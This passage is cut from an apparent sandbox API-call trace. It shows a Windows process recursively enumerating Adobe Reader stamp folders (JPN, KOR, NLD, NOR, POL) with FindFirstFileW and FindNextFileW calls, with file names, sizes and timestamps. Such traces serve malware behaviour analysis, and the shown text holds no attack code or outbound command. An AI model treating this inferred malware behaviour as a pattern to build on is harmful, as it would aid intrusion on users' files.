nFileSizeHigh=0x0, nFileSizeLow=0xca88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0227.903] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8ff9, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0227.903] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18575, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0227.904] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18575, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0227.904] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0227.904] GetProcessHeap () returned 0x550000 [0227.904] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0227.904] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPN", cAlternateFileName="")) returned 1 [0227.904] GetProcessHeap () returned 0x550000 [0227.904] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0227.904] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0227.905] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.905] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcc2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0227.905] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xffc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hanko.pdf", cAlternateFileName="")) returned 1 [0227.905] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa447, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0227.906] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c005, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0227.906] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c005, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0227.906] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0227.906] GetProcessHeap () returned 0x550000 [0227.906] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0227.906] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KOR", cAlternateFileName="")) returned 1 [0227.906] GetProcessHeap () returned 0x550000 [0227.906] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0227.906] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0227.908] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.909] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12b04, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0227.909] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xeac1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hanko.pdf", cAlternateFileName="")) returned 1 [0227.909] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd074, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0227.909] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x24f7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0227.909] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x24f7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0227.909] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0227.909] GetProcessHeap () returned 0x550000 [0227.909] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0227.910] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NLD", cAlternateFileName="")) returned 1 [0227.910] GetProcessHeap () returned 0x550000 [0227.910] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0227.910] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0227.911] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.911] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xff3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0227.911] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9542, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0227.911] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x180e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0227.911] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x180e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0227.911] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0227.911] GetProcessHeap () returned 0x550000 [0227.911] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0227.911] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOR", cAlternateFileName="")) returned 1 [0227.911] GetProcessHeap () returned 0x550000 [0227.911] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0227.912] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0227.914] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.914] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfbd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0227.914] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0227.914] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17ff8, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0227.914] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17ff8, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0227.914] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0227.915] GetProcessHeap () returned 0x550000 [0227.915] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0227.915] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="POL", cAlternateFileName="")) returned 1 [0227.915] GetProcessHeap () returned 0x550000 [0227.915] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0227.915] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0227.930] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.930] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x907a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0227.930] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0227.930] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0227.930] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4fff9, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0227.930] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0227.930] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10873, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0227.930] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, 